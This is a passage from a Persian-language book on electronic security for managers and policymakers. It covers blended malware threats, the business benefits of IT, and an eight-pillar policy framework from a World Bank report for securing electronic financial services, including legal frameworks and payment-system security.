۹ *در شرکتهای فنی بزرگتر یا شرکتهای تازه‌کاری که برنامه‌ریزی کرده‌اند که بسرعت رشد کنند، تیم مدیریت از افرادی تشکیل شده که هر یک در یک حوزهٔ تجاری یا فنی متخصص است. این نقشها عبارتند از موارد زیر (ولی به آنها محدود نمی‌شوند): مدیر ارشد اجرایی (CEO)، مدیر ارشد امور مالی (CFO)، مدیر ارشد فناوری (CTO)، مدیر ارشد اطلاعات (CIO)، و بتازگی مدیر ارشد امنیت (CSO). همچنین در یک سازمان معمولی یک سلسله موقعیتهای قائم‌مقامی وجود دارد از قبیل قائم‌مقام بازاریابی، فروش، و توسعهٔ بازرگانی. از آنجا که استفاده از این ساختار رسمی در سازمانهای کوچکتر ضرورتی ندارد (یا امکان آن میسر نیست)، مشاهدهٔ چگونگی تقسیم مسئولیتها در شرکتهای بزرگ و توجه به افزایش اهمیت CSO می‌تواند بسیار مفید باشد.*

سیستمهای اطلاعاتی خود داشته باشند. اگر در حوزه‌هایی فعالیت می‌کنند که ممکن است برای دیگران مخاطرات امنیتی در بر داشته باشد – مثلاً حوزهٔ فناوریهای درحال توسعه – باید تهدیدهای محتمل علیه امنیت مشتریان خود را پیش‌بینی کنند و طرحهایی برای کاهش تأثیر آنها تدوین نمایند. اگر در حوزه‌هایی کار می‌کنند که به هر نحو به امنیت دولت مربوط می‌شود – مثل ارائه محصولات و خدمات ارتباطات مخابراتی – باید متوجه باشند که در چه زمانی و چگونه مسئولیت قانونی پایبندی به احکام دولتی بر عهدهٔ آنهاست. یک *ارائه‌کنندهٔ سرویس اینترنت* (ISP)[10] نمونه‌ای است از شرکتهایی که با هر دو نوع مخاطره مواجه است. با اتصال مشتری به اینترنت، برای داده‌ها و تجهیزات مشتری مخاطرات امنیتی بوجود می‌آید، و با فراهم کردن محتویات دیجیتالی و ابزار ارتباطی، ISP در معرض احکام و مقررات کشوری قرار می‌گیرد. اگر کسی قابلیت تجارت الکترونیکی را نیز به این خدمات بیافزاید، تهدیدات بالقوه و کسب اطمینان از پایبندی به تعهدات، تبدیل به مشکلاتی بسیار عظیم و اساسی می‌شوند.

خطرهای تهدیدات چندگانه

داده‌های آماریِ چند منبع موثق، یک روند صعودی در استفاده از برنامه‌های آلوده برای دستیابی به اهداف جنایی را نشان می‌دهد. در سال ۲۰۰۲ گزارشات متعددی به چنین موضوعاتی مربوط بود: سرقت هویت با استفاده از برنامهٔ آلوده، تغییر شکل پایگاههای وب با انگیزه‌های سیاسی، *حملات توزیع‌شدهٔ تخریب سرویس* (DDoS)[11] علیه اهداف تعیین‌شدهٔ سازمانی، و موارد مشابه دیگر.

بعلاوه، گستردگی *تهدیدات چندوجهی*[12] در اینترنت برای همه مخاطرات جدی بوجود می‌آورد. این مخاطرات به حوزهٔ خاصی تعلق ندارند ولی تمام شبکهٔ جهانی را تهدید می‌کنند. برای مثال کرم Klez با خصوصیاتی به نگارش درآمده که بر اساس آن صاحبنظران معتقدند یا در چین و یا در هنگ‌کنگ نوشته شده است. درحال حاضر کشورهای آسیایی بطور فزاینده‌ای از رایانه‌های متصل به اینترنت بهره‌برداری می‌کنند. متأسفانه بسیاری از این رایانه‌ها بی‌حفاظ هستند و کاربران آنها نیز از اصول اولیهٔ استفادهٔ ایمن از رایانه‌ها ناآگاهند. درنتیجه احتمال می‌رود مناطقی که از رشد فنی بالایی برخوردارند – مثل چین – با پراکنده‌شدن ویروسها، کرمها، تراواها، و تهدیدهای چندوجهی که آمیخته‌ای از همهٔ این عوامل هستند مورد حملهٔ مهاجمین سراسر جهان قرار بگیرند.

ابزارهای نرم‌افزاری حال حاضر یک طیف از حفاظتها را در مقابل برنامهٔ آلوده ایجاد می‌کنند، اما از دفاع کامل در مقابل همهٔ اَشکال حملات، ناتوان هستند. استفاده از یک طرح دفاعی چندلایه، هم از لحاظ فنی و هم از لحاظ انسانی مخاطرهٔ بروز رخدادهای امنیتی بوسیلهٔ برنامهٔ آلوده را به شدت کاهش می‌دهد – هرچند باز هم آنرا از بین نمی‌برد. تهدیدات چندوجهی مثل Code Red، Slammer، Klez، و Bugbear می‌توانند شبکه‌های رایانه‌ای را مورد آزار دائمی قرار دهند. بسیاری از کرمها به خودیِ خود آثار مخرب ندارند اما در سیستم دامهایی نصب می‌کنند که باعث می‌شود دسترسی افرادی که با آن دامها آشنا هستند به شبکه سریع و آسان گردد.

جدای از این مطلب، کرمها از بعضی جهات در ناتوان کردن سیستمها مؤثرتر هستند؛ چراکه قادرند آسیب‌پذیریهای موجود در نرم‌افزارهای رایج – مثل مرورگرهای وب – را مورد بهره‌برداری قرار دهند.

در محیطهای رایانه‌ای که چنین خصوصیاتی در آنها وجود دارد، کاربران باید در مورد مخاطرات موجود و نحوهٔ بروز واکنش مناسب در موقعیتهای انفرادی، اطلاعات خود را افزایش دهند. هنگامیکه استفادهٔ ایمن از رایانه تمرین شود، مخاطرهٔ یک حمله می‌تواند به میزان قابل توجهی کاهش یابد، اما مجدداً تأکید می‌شود که هرگز نمی‌توان آنرا به صفر رساند. از آنجا که تهدید خرابکاری عمدی در سیستمهای رایانه‌ای برای سازمانها بسیار زیاد است، بررسی مخاطرات امنیت انفرادی و تراکنشهای مالی و چالشهای جدید بوجودآمده در بسترهای رایانه‌ایِ بی‌سیم بسیار حائز اهمیت است.

10 *Internet Service Provider*
11 *Distributed Denial of Service Attack*
12 *Blended Threats*

مزایای فناوری اطلاعات و مدیریت آن

علیرغم چالشهای موجود، مدیران و کارآفرینان بخشهای دولتی و خصوصی در کشورهای درحال توسعه به سرمایه‌گذاری روی فناوری نوین اطلاعات و ارتباطات شامل پست الکترونیکی، اینترنت، ارتباطات بی‌سیم، و نرم‌افزارهای تجاری مشغولند تا به انجام کارهای روزمرهٔ خود کمک کرده باشند. مزایای مختلف استفاده از این محصولات و خدمات جدید – مثل کارآیی و صرفه‌جویی در هزینه‌ها – واضح هستند:

۱. ارتباطات تجاری با مشتریان، فروشنده‌ها و شرکتهای همکار بهبود پیدا می‌کند؛

۲. توانایی دسترسی به حجم زیاد اطلاعات با سرعت زیاد و بصورت ارزانقیمت تقویت می‌شود؛

۳. وسیله‌ای برای توسعهٔ قابلیتهای حفاظت از داده‌ها و مدیریتی فراهم می‌گردد که منجر به نگهداری بهتر از اقلام داده برای مدیران مالی، تحلیل بهتر رفتار مشتری برای مدیران بازاریابی و فروش، و ارائه آمار دقیقتر برای مدیران خط تولید می‌شود.

به هرحال همانطور که مشاهده کردیم این اصلاحات بدون مخاطره نیستند و این مسئله چه در مورد سرمایه‌های فیزیکی و چه در مورد سرمایه‌هایی که کمتر به چشم می‌آیند صدق می‌کند. در این بخش، نگرانیهای حوزهٔ امنیت فناوری اطلاعات که شرکتهای بزرگ و کوچک و در کشورهای توسعه‌یافته و درحال توسعه با آن مواجه می‌شوند مورد بررسی قرار می‌گیرد. قسمتهای مختلف این بخش با توجه خاص به کارهایی که باید بوسیلهٔ دوایر اجرایی، مدیران، و کارکنان برای حفاظت از سیستمها، مشتریان، فروشندگان و دیگر افراد ذینفع در شرکت انجام شوند طراحی شده است. *فهرستهای کنترل*[13] و *یادداشتهای روال‌منده*[14] براحتی می‌توانند توسط یک سازمان دولتی یا غیرانتفاعی مورد استفاده قرار بگیرند.

علاوه بر روالها و سیاستهای داخلی، بعضی از سازمانهای کوچک و متوسط ممکن است تصمیم بگیرند تأمین نیازهای امنیتی خود را به منابع خارج از سازمان واگذار کنند. در جهان صنعتی بعضی کارشناسان اظهار می‌کنند که سپردن خدمات غیر کلیدی مثل تأمین امنیت فناوری اطلاعات به منابع خارج از سازمان حداقل تا ده سال آینده برای شرکتها همچنان یک استراتژی خواهد بود. علاوه بر این بعضی سازمانها علاقهٔ خاصی به تأمین نیازهای امنیتی جهانی بویژه نیازهای امنیتی کشورهای درحال توسعه دارند. بعنوان مثال انجمن *کنترل و ممیزی سیستمهای اطلاعات* (ISACA)[15] در ۶۰ کشور همکار تجاری دارد و متن برنامه‌های مختلفی از کشورهای متفاوت را بصورت آزاد ارائه می‌کند.[16] ISACA همچنین یک چارچوب کنترل و رسیدگی برای سازمانها پیشنهاد می‌کند و برای استفاده از منابع خارجی فهرستهای کنترل ارائه می‌نماید.

این سیستمها چه در داخل سازمان تهیه شوند و چه خارج از آن، باز هم توسعه و پشتیبانی از زیرساختها، سیاستها، و روالهای امنیتی برای غالب شرکتها چیزی جز برقراری توازن میان ضابطه‌ها نخواهد بود. مقامات اجرایی، مدیران، و سیاستگذاران باید به مخاطرات اهمیت دهند و با تعریف اهداف رسمی و رشد حداقل سازمان، برای ایجاد توازن میان سرمایه‌گذاری روی امنیت، یک معیار و استاندارد تعیین کنند. وقتی سازمان به سطح مطلوبی از امنیت رسید، مدیریت نباید اهمیت به روز نگهداشتن سیستمها و ممیزیهای منظم طرح امنیتی را فراموش کند. تغییرات رایانه و تجهیزات شبکه، مثلاً از نوعی که به *بسته‌های نرم‌افزاری متن‌باز*[17] منحصر است، به بررسی کامل طرح تفصیلی امنیت نیاز دارد. بطور خلاصه می‌توان گفت که امنیت بیش از آنکه یک علم باشد یک هنر است و برای تضمین تأثیرگذاری موفق آن در سازمانها به

13 *Checklist*
14 *Procedural Notes*

15 *Information System Audit and Control Association (ISACA)*

۱۶ *برای آگاهی از برنامه‌های آیندهٔ این انجمن به پایگاه آن در آدرس زیر مراجعه کنید:*
http://www.isaca.org
این مطالعه باعث شد کشور اروگوئه یک کشور مورد علاقه برای مطالعهٔ خوانندگان این کتاب شود (!):
http://www.isaca.org/ct_case.htm
COBIT (http://www.isaca.org/cobit.htm) یک بستر برای منابع مناسب امنیت الکترونیک جهت استفاده برای مدیران، کاربران، ممیزی امنیت اطلاعات، کنترل، و متخصصین امنیت ارائه کرده است. برقراری تماس با ISACA به شما دید خوبی از فعالیتهای فعلی و آتی انجمن می‌دهد.

17 *Open Source Software Packages*

همفکری و هماهنگی تعداد زیادی از متفکران خلاق جامعه نیاز می‌باشد.[۱۸]

۱۸ *بدلیل افزایش رخدادهای امنیتی در سراسر جهان، تعدادی از شرکتهای مشاوره گزارشاتی در مورد فناوری اطلاعات و تأثیرات جهانی آن تهیه کرده‌اند. برای مثال می‌توانید به منبع زیر مراجعه کنید:*

Ernst & Young's 2003 Global Information Security Survey: http://www.ey.com/global/download.nsf/US/TSRSGlobal_Information_Security_Survey_2003/$file/TSRS_-_Global_Information_Security_Survey_2003.pdf

فصل دوم
مروری بر روشهای کاهش آثار مخاطرات امنیت الکترونیکی[۱۹]

کلیات

این فصل از کتاب به شناسایی، تعریف، و بحث در مورد یک مجموعه سیاستها و روالهای هشت رکنی و نیز یک زیرساخت کلی جهت تقویت محیط امن الکترونیکی برای بخش خدمات مالی می‌پردازد. این بخش برای سیاستگذارانی که با ارائه‌دهندگان خدمات مالی – بویژه دوایر اجرایی، مدیران ارشد اطلاعات، و مدیران ارشد امنیت – کار می‌کنند تهیه شده است. نکات فنی این بخش برای کسانیکه سیستمهای امنیت الکترونیکی را راهبری می‌کنند، بازرسین بانکها که کارآیی امنیت الکترونیکی را ارزیابی می‌کنند، و کسانیکه با مخاطرات ذاتی و روزمرهٔ تراکنشهای الکترونیکی سر و کار دارند بسیار بکار می‌آید.

امنیت در خدمات مالی الکترونیکی

در چند مقالهٔ جدید، امنیت الکترونیکی بعنوان مسئله‌ای حیاتی در توانمند ساختن *خدمات مالی الکترونیکی*[۲۰] برای پاسخگویی به انتظارات سازمان و مشتریان و ارائه منافع فناوری معرفی شده بود.[۲۱] امنیت الکترونیکی با قلب اقتصاد جدید در تماس است؛ چراکه منافع بالقوهٔ بازارهای جهانیِ جوامع بین‌المللی بسیار حائز اهمیت هستند و استفادهٔ بهینه از این بازارها میسر نمی‌شود مگر با تأمین امنیت در محیط الکترونیکی. به هر ترتیب، روند حرکت اقتصاد جهانی بحث عمیقی دربارهٔ تجارت و سیاستگذاری نوین را می‌طلبد: چگونه باید *حریم خصوصی*[۲۲] را تعریف و از آن محافظت کرد؟، اطمینان و اعتماد در یک محیط دیجیتال چه معنا و مفهومی دارند؟، چگونه می‌توان سطح مناسبی از امنیت را مشخص کرد؟، و نهایتاً اینکه برای سرمایه‌گذاریهای امنیتی، چگونه باید شاخصِ *بازگشت سرمایه* (ROI)[۲۳] را اندازه‌گیری نمود؟

به علت ماهیت همواره متغیرِ فناوری، این کتاب نه‌تنها به جزئیات تمام این موضوعات نمی‌پردازد، بلکه برای بعضی از آنها پاسخهای کلی هم ارائه نمی‌کند. در عوض به مروری سریع بر آنچه تا امروز در دنیای امنیت اتفاق افتاده، شکافهایی که در حوزهٔ امنیت الکترونیکی درحال بوجود آمدن هستند، و ارائه بعضی راهکارهای ممکن برای کم کردن این شکافها می‌پردازد، و همچنین به بعضی فعالیتها که در سراسر جهان برای رفع این نگرانیها انجام می‌شوند اشاره می‌کند.

امنیت الکترونیکی چیست؟

بطور کلی امنیت الکترونیکی عبارت است از هر ابزار، فن، یا فرآیندی که برای حفاظت از سرمایه‌های اطلاعاتی یک سیستم مورد استفاده قرار می‌گیرد. امنیت الکترونیکی ارزش یک شبکه را زیاد می‌کند و از زیرساختهای نرم و سخت تشکیل شده است. زیرساختهای نرم عبارتند از سیاستها، فرآیندها، پروتکلها و راهبردهایی که از مورد سوء استفاده قرار گرفتن سیستم و داده‌ها جلوگیری می‌کنند. زیرساختهای سخت نیز متشکل از نرم‌افزار و سخت‌افزار مورد نیاز برای

---

۱۹ *این فصل با کمک یک گزارش که بوسیلهٔ Thomas Glaessner، Tom Kellerman، و Valerie McNevin در سال ۲۰۰۲ برای بانک جهانی تهیه شد به نگارش در آمده است:*
"Electronic Security: Risk Mitigation in Financial Transactions.": http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Publications

20 *E-Finance*

۲۱ *برای اطلاعات بیشتر، فعالیتهای Glaessner، Kellerman و McNevin از جمله کتاب زیر را ببینید:*
"Electronic Safety and Soundness: Securing Finance in a Digital Age, Public Policy Issues" (October 2003)

این رساله اوج تلاشهایی است که در سه سال اخیر انجام شده و به ارائه چند مقاله منجر شده است. چند مقالهٔ دیگر از این دسته مقالات عبارتند از:
"Electronic Security: Risk Mitigation in Financial Transactions" (May 2002, June 2002, July 2002),
"Electronic Finance: A New Approach to Financial Sector Development?" (2002),
"Mobile Risk Management: E-Finance in the Wireless Environment" (May 2002)
که همگی در آدرس زیر قابل دسترسی هستند:
http://www.worldbank1.org/finance

22 *Privacy*

23 *Return on Investment*

حفاظت از سیستم و داده‌ها در مقابل تهدیدات امنیتی داخلی و خارجی سازمان می‌باشد. باید توجه داشت که سطح امنیت الکترونیکی هر فعالیت باید متناسب با ارزش آن فعالیت باشد؛ بنابراین امنیت برای تراکنشها و معاملات مهم باید در سطحی بالاتر از تراکنشها و معاملات عادی تأمین شود.

از آنجا که یک فناوری جدید مخاطرات جدیدی نیز بوجود می‌آورد و فناوریها هر روز گسترده‌تر می‌شوند، لذا امنیت الکترونیکی شایستهٔ توجه بیشتری است.

خدمات مالی الکترونیکی عبارت است از بکار بردن وسایل الکترونیکی برای تبادل اطلاعات، انتقال علائم و اسناد اعتباری، و انجام داد و ستد در یک محیط تجاری. خدمات مالی الکترونیکی از چهار جزء پایه‌ای تشکیل می‌شود:

- *انتقال دهنده‌های سرمایه‌های الکترونیکی* (EFTs)[۲۴]؛
- *تبادل داده‌های الکترونیکی* (EDI)[۲۵]؛
- *انتقال منافع الکترونیکی* (EBTs)[۲۶]؛ و
- *تصدیق تجارت الکترونیکی* (ETCs)[۲۷].

اگرچه خدمات مالی الکترونیکی یک فرصت بزرگ جهت گسترش تجارت برای بازارهای درحال توسعه بوجود می‌آورد، اما چند مخاطرهٔ جدی نیز بدنبال دارد. تمام چهار جزء خدمات مالی الکترونیکی مستعد کلاهبرداری، سرقت، اختلاس، و دستکاری هستند. بیشتر جرائم تجاری که در اینترنت رخ می‌دهند تازگی چندانی ندارند – کلاهبرداری، سرقت، جعل هویت، و اخاذی سالهاست که صنایع خدمات مالی را به ستوه آورده‌اند – اما با اینهمه، پیشرفت فناوری همواره باعث بوجود آمدن ابعاد جدیدی می‌گردد و این مسئله می‌تواند عمق و دامنهٔ جرائم را گسترده‌تر کند. فناوری باعث می‌شود جنایتهای بسیار گسترده و پیچیده بتوانند بسرعت و بصورت گمنام انجام شوند. در گذشته سرقت ۵۰،۰۰۰ کارت اعتباری برای جنایتکاران بسیار سازمانیافته ماهها یا حتی سالها زمان می‌برد؛ اما امروز یک مجرم با استفاده از ابزارهای رایگان در پایگاههای وب می‌تواند با نفوذ به پایگاه داده‌های هویت، همان تعداد کارت اعتباری را در تنها چند ثانیه به سرقت ببرد.

بر اساس بررسیهای اخیر تخمین زده می‌شود که ۵۷٪ از حملات نفوذ ایالات متحده در سال گذشته از بخشهای مالی شروع شده بودند. بسیاری از تخلفات نظیر یک مورد جدی که در وزارت خزانه‌داری آمریکا رخ داد ناشی از اشتباه در پیاده‌سازی روندهای ارزیابی مخاطره و بکارگیری نرم‌افزارهای تجاری آماده بدون استفاده از رویکردهای چندلایهٔ امنیتی – مواردی چون سیاستهای کارکنان، راهبردهای ارتباطات، و به‌روزرسانی منظم ابزار فنی مورد استفاده مانند *ویروس‌یابها*[۲۸] و *دیواره‌های آتش*[۲۹] – بودند. نتایج این نفوذهای امنیتی که اخبار آن به رسانه‌ها نیز راه پیدا کرد طیفی شد که یکسوی آن از دست دادن شهرت و اعتبار مالی و سوی دیگر آن تغییر رفتار نهان مشتریان در مقابله با داد و ستد الکترونیکی بود؛ و این همه دلیلی نداشت جز عدم اعتماد مشتریان به واسطه‌های تجارت و خدمات مالی الکترونیکی.

اقتصاد شبکه‌ای، برای ایجاد ثروت و همچنین انجام سرقت و تخریب، فرصتهای متفاوتی ایجاد می‌کند. در بررسی مزایا و معایب این فرآیند، سیاستگذاران و تصمیمگیران باید آگاهی خود را در مورد نقشی که امنیت الکترونیکی در تضمین داد و ستدهای قابل اطمینان تجاری بازی می‌کند افزایش دهند.

صنعت امنیت الکترونیکی درحال رشد و جهانی‌شدن است؛ لذا چالشهای سیاست عمومی را در حوزه‌های سیاست رقابتی، تعارضهای بالقوهٔ منافع و همچنین اعطای گواهی نشان می‌دهد.

در گذشتهٔ نزدیک شرکتهای ارائه‌دهندهٔ خدمات امنیت الکترونیکی عموماً در سه حوزه فعالیت می‌کردند: دسترسی، استفاده، و ارزیابی. علاوه بر اینها، صنعت امروزی شامل شرکتهایی است که خدماتی دیگر نیز در این زمینه ارائه می‌کنند؛ خدماتی از قبیل نظارت و غربال کردن داده، مهاجم‌یابی، دیواره‌های آتش، آزمونهای نفوذپذیری برای بررسی میزان آسیب‌پذیری نرم‌افزارها و سخت‌افزارها،

24 *Electronic Funds Transfers*
25 *Electronic Data Interchange*
26 *Electronic Benefits Transfers*
27 *Electronic Trade Confirmations*

28 *Virus Scanners*
29 *Firewalls*

نرم‌افزارهای رمزگذاری، خدمات تصدیق هویت بوسیلهٔ رمزهای عبور، نشانها، کلیدها و یا معیارهای زیستی؛ که همگی هویت گروهها یا یکپارچگی داده‌ها را تصدیق می‌کنند.

بسیاری از فروشندگان علاوه بر امنیت الکترونیکی حجم قابل توجهی از ارتباطات فی‌مابین عرضه‌کنندگان خدمات مالی الکترونیکی در کشورهای مختلف را نیز برقرار می‌کنند. این شرکتها شامل *شرکتهای میزبان*[۳۰]، ISPها و ارائه‌دهندگان خدمات مالی هستند. شرکتهای مخابرات در بازارهای جدید معمولاً بعنوان ارائه‌کنندگان کلیدی خدمات کوتاه‌موج، ماهواره و تلفن همراه فعالیت دارند. این شرکتها ممکن است خدمات میزبانی، خدمات انتقال پول و در بعضی موارد خدمات زیربنایی امنیت الکترونیکی را نیز فراهم کنند.

مالکیت صنایع امنیت الکترونیکی و امور مالی الکترونیکی باعث طرح سؤالات پیچیده‌ای دربارهٔ سیاست رقابتی و کشمکشهای بالقوه برای کسب منافع می‌شوند. در مورد سیاست رقابتی می‌توان پرسید: آیا نقشهای چندگانهٔ شرکتهای مخابراتی می‌تواند به جلوگیری از رقابت بویژه در بازارهای درحال رشد – که معمولاً برای ارائه این خدمات، متخصصین فنی در اختیار خود دارند – منجر شود؟ و یا اینکه یکپارچگی خدمات ارائه‌شده و سیاستهای شرکت دربارهٔ گزارش دقیق و فوری نفوذهای امنیتی چگونه تضمین می‌شود؟ علاوه بر این، روند واگذاری امور به یک شرکت ثالث، اهمیت اصلاح حوزهٔ مسئولیتها از رأس هرم مسئولیت در صنعتی با چنین مجموعهٔ پیچیده‌ای از فروشندگان را روشن می‌کند. معمولاً در قراردادهای میان مؤسسات مالی و ارائه‌دهندگان خدمات به آنها از قسمتی از هزینهٔ قرارداد خدمات بعنوان ضمانت کارآیی استفاده می‌شود، ولی حتی با این وجود هم از دیدگاه امنیتی به مسئله کارآییِ فعالیت انجام‌شده به اندازهٔ کافی پرداخته نشده است.

در مقررات امنیت الکترونیکیِ صنعت خدمات مالی، منافع عمومی باید مورد توجه قرار گرفته باشد. در امنیت الکترونیکی باید میان حریم خصوصی و مسائلی نظیر هزینه، کیفیت خدمات، و نوآوری به یک توازن معقول رسید و در تدوین ضوابط و سیاستها نیز باید توجه خاصی به این توازن داشت.

صنعت مخابرات بطور سنتی لازمهٔ رفاه، آسایش و سلامت عمومی به حساب می‌آمد و از اینرو یک جزء اصلی ضوابط آن، توسعهٔ خدمات به منظور دسترسی عموم بود. اما درحال حاضر در بسیاری از کشورها دسترسی به خدمات اولیهٔ الکترونیکی نیز یک ضرورت برای زندگی به حساب می‌آید.

از لحاظ تاریخی، صنعت خدمات مالی بر اساس این منطق ضابطه‌مند شده که در نقل و انتقالات منظم کالا و پول، اعتماد و اطمینان از بالاترین میزان اهمیت برخوردار است؛ و با توجه به اینکه مؤسسات مالی نیازمند اعتماد مردم هستند، باید فعالیت خود را سالم، منطقی، و محتاطانه پیش ببرند. با نزدیک‌شدن صنعت مخابرات و بخش خدمات مالی به یکدیگر از طریق اینترنت، اهمیت و ضرورت ایجاد سیاست عمومی و مقررات آگاهانه روز به روز بیشتر می‌شود تا تضمین کند که دولت، شرکتهای تجاری و مردم می‌توانند استفادهٔ خود از خدمات ایمن مالی را ادامه دهند.

در تهیهٔ سیاستهای عمومی به منظور ایجاد یا اصلاح معیارهای امنیت الکترونیکی باید به هشت رکن مهم توجه داشت:

- یک چارچوب قانونی و اجرایی مناسب؛
- تمهیدات فنی و مدیریتی برای تضمین امنیت الکترونیکی سیستمهای پرداخت؛
- نظارت قوی و پیشگیری؛ برای ایجاد انگیزه‌های بهتر در پیاده‌سازی سیستمهای مناسب و لایه‌بندی‌شدهٔ مدیریت خطر؛ از جمله امنیت الکترونیکی برای ارائه‌دهندگان خدمات مالی؛
- چارچوبی که در آن شرکتهای خصوصیِ بیمه بتوانند خود را در مقابل مخاطرات الکترونیکی بیمه کنند و در کنار آن استانداردهای این حوزه را با ایجاد تعهدات مالی بازپرداختها ارتقا دهند؛
- امضاهای دیجیتالی؛
- به‌اشتراک‌گذاری اطلاعات؛
- آموزش شهروندان، کارکنان، و مدیریت دربارهٔ مسائل امنیتی؛ و
- یک ساختار امنیتی لایه‌بندی شده.

30 Hosting Companies

رکن اول:
چارچوب قانونی و اجرایی

کشورهایی که در آنها بانکداری الکترونیکی یا سایر خدمات مالی الکترونیکی (مثل توزیع و داد و ستد اوراق بهادار) انجام می‌شود همزمان با توسعهٔ قوانین، سیاستها و روشها، باید مسائل امنیت الکترونیکی خود را نیز مورد توجه قرار دهند. آنها باید امنیت را برای حفاظت از عملیات الکترونیکی تأمین کنند و قوانین جنایی را برای در بر گرفتن این نوع جرائم اصلاح نمایند.

در فرآیند تدوین سیاست و چارچوب قانونی برای خدمات مالی الکترونیکی باید به موضوعات زیر توجه داشت:

- معاملات الکترونیکی و تجارت الکترونیکی؛
- امنیت سیستمهای پرداخت؛
- حریم خصوصی؛
- جرائم سایبر؛
- مقابله با شستشوی پول؛ و
- زیرساخت اجرایی.

این شش حوزهٔ سیاست، قانون و اجرا در کنار هم باید روابط ابتدایی میان تمامی ذینفعان و سپس تراکنشهایی که در سیستمهای پرداخت جریان می‌یابد را مد نظر قرار دهند. یکی از مهمترین اجزای یک چارچوب قانونی مناسب برای خدمات مالی الکترونیکی شناسایی اعتبار قانونی امضاهای الکترونیکی، تراکنشها، و همچنین سوابق مشتریان می‌باشد. چارچوب قانونی باید راه‌حلهای فنی را ترجیح دهد، برای مشتریان در انجام معاملات الکترونیکی حفاظت بوجود آورد، و قابلیت فعالیت داخلی را ارتقا بخشد.

معاملات الکترونیکی

قانون معاملات الکترونیکی باید عنوان کند که منظور از یک امضا، سابقه یا تراکنش الکترونیکی چیست و با اینکار اعتبار قانونی هر عنصر را مشخص نماید. این سیاستها خصوصاً در تعریف امضای الکترونیکی باید بسیار دقیق باشند. تعاریف تا حد امکان باید خصوصیات فنی داشته باشند تا راه‌حلهای مختلف بتوانند وارد بازار شوند.

امنیت سیستمهای پرداخت

در تهیهٔ سیاست برای امنیت سیستمهای پرداخت باید تمام اجزایی که مستقیماً روی سیستم تأثیرگذار هستند را مد نظر قرار داد. همهٔ این اجزا باید بصورت امن کار کنند تا بتوانند از یکپارچگی و قابلیت اطمینان سیستمها حفاظت نمایند. بعلاوه وجود سیاست در این زمینه باعث می‌شود در تمامی خسارات مالی الکترونیکی و حملات و ضایعات بتوان گزارشات دقیق و ارزشمندی تهیه کرد. صرف وجود سیاست امنیتی به این معنی است که احتمالاً مؤسسهٔ مالی و اداره‌کنندگان آن در مقابل مخاطرات، تدابیر لازم را اندیشیده‌اند.

حریم خصوصی

قانون حریم خصوصی باید حفاظت و کاربرد داده‌ها، حفاظت از مصرف‌کننده و سایر نیازهای مرتبط تجاری را در بر بگیرد و سیاستهای سازمان در مورد بکارگیری اطلاعات را اعلام کند. اتحادیهٔ اروپایی همچنان در حفاظت از حریم خصوصی شهروندانش طبق دستورالعمل حفاظت از داده‌ها (مصوب سال ۱۹۹۵) پیشتاز است. در حالت حداقلی، قانون حریم خصوصی باید اصول استفادهٔ عادلانه از اطلاعات (شامل توجه، انتخاب، دسترسی و حداقل اطلاعات لازم برای تکمیل معامله) را شامل شود.

جرائم سایبر[۳۱]

هر کشور باید در مورد سوء استفاده از شبکه و رایانه که منجر به وارد آمدن خسارتهای جدی به خود شبکه و رایانه و بسیاری آسیبهای دیگر می‌شود قوانینی داشته باشد. قانون همچنین باید ابزار و منابع لازم برای تحقیق و پیگرد و نیز مجازات مرتکبین جرائم سایبر را تعیین کرده باشد. نمونه‌ای از چنین قوانین و دستورالعملهایی را می‌توان در *معاهدهٔ جرائم اینترنتی اروپا*[۳۲] پیدا کرد که در فصل چهارم به تفصیل در مورد آن بحث شده است.[۳۳]

مقابله با شستشوی پول

سیاستها باید روشهای مقابله با شستشوی پول را تعریف کنند و جوامع بین‌المللی را به همکاری در بازرسی، پیگرد و

---

31 *Cyber Crime*
32 *Europe's Convention on Cyber Crime*
۳۳ *انجمن جرائم سایبر شورای اروپا:*
http://conventions.coe.int

مجازات چنین جرائمی تشویق نمایند تا خطر تهدیدات موجود از جانب شستشوی پول که به فناوریهای جدید نیز سرایت کرده را کاهش دهند.

اجرای قانون

شاید بتوان گفت که نیاز به اجرای قوانین امنیت الکترونیکی در مرزهای یک کشور به اندازهٔ وجود چارچوب قانونی آن از اهمیت برخوردار است. مبدأ بسیاری از انواع حملات رایانه‌ای، کشورهایی بوده‌اند که نظام قانونی و اجرایی ضعیفی برای امنیت الکترونیکی داشته‌اند و همین امر ضرورت وجود راهکارهایی برای همکاریهای بین‌المللی را بیش از پیش نمایان می‌کند.

رکن دوم:
امنیت الکترونیکی در سیستمهای پرداخت

سیستمهای پرداخت جزء مهمی از هر سیستم مالی محسوب می‌شوند. سیاستهایی که برای کاهش مخاطرات سیستمهای پرداخت تدوین می‌شوند باید بگونه‌ای برای پنج مورد زیر راه‌حلی ارائه دهند:

۱. تعریف انتقال‌دهندگان پول؛
۲. الزامات گزارش‌دهی؛
۳. ضوابط؛
۴. ضمانتنامه‌ها، جبران خسارات، و مسئولیتها؛ و
۵. نیازهای امنیتی ارائه‌دهندگان خدمات.

تعریف انتقال‌دهندهٔ پول

انتقال‌دهندهٔ پول عبارت است از هر سازمان تجاری که در زمینهٔ انتقال و تبادل ارز و لوازم پولی مشغول فعالیت می‌باشد. معمولاً این سازمانها به "تجارت خدمات پولی" مشغول هستند و بعنوان *دفاتر تسویه خودکار شخص ثالث*[۳۴] فعالیت می‌کنند.[۳۵] در بررسی امنیت سیستم پرداخت الکترونیکی، قانونگذاران باید بدانند که الگویی جدید برای جنبش پولی در محیطهای پیچیدهٔ فناوری اطلاعات بوجود آمده است. حجم قابل توجه پولی که بجای داخل بانکها در اطراف بانکها جریان دارد تأثیر بسزایی بر سیستم پرداخت جهانی، سیاستهای پولی، و پیش‌بینیهای اقتصادی دارد.

الزامات گزارش‌دهی

ناتوانی در تهیهٔ گزارش از وقایع امنیتی بویژه در حوزهٔ خدمات مالی برای کسانیکه بدون انجام بررسی و پیشگیریهای لازم از سیستمهای پرداخت استفاده می‌کنند، احتمال تداوم بیشتر فعالیتهای نامطمئن و نادرست و درنتیجه وارد آمدن خسارات بیشتر را افزایش می‌دهد. یک راهکار می‌تواند این باشد که وظیفهٔ تهیهٔ گزارش از وقایع بر عهدهٔ مأموران اجرایی گذارده شود.[۳۶]

پیشگامان قانونگذاری

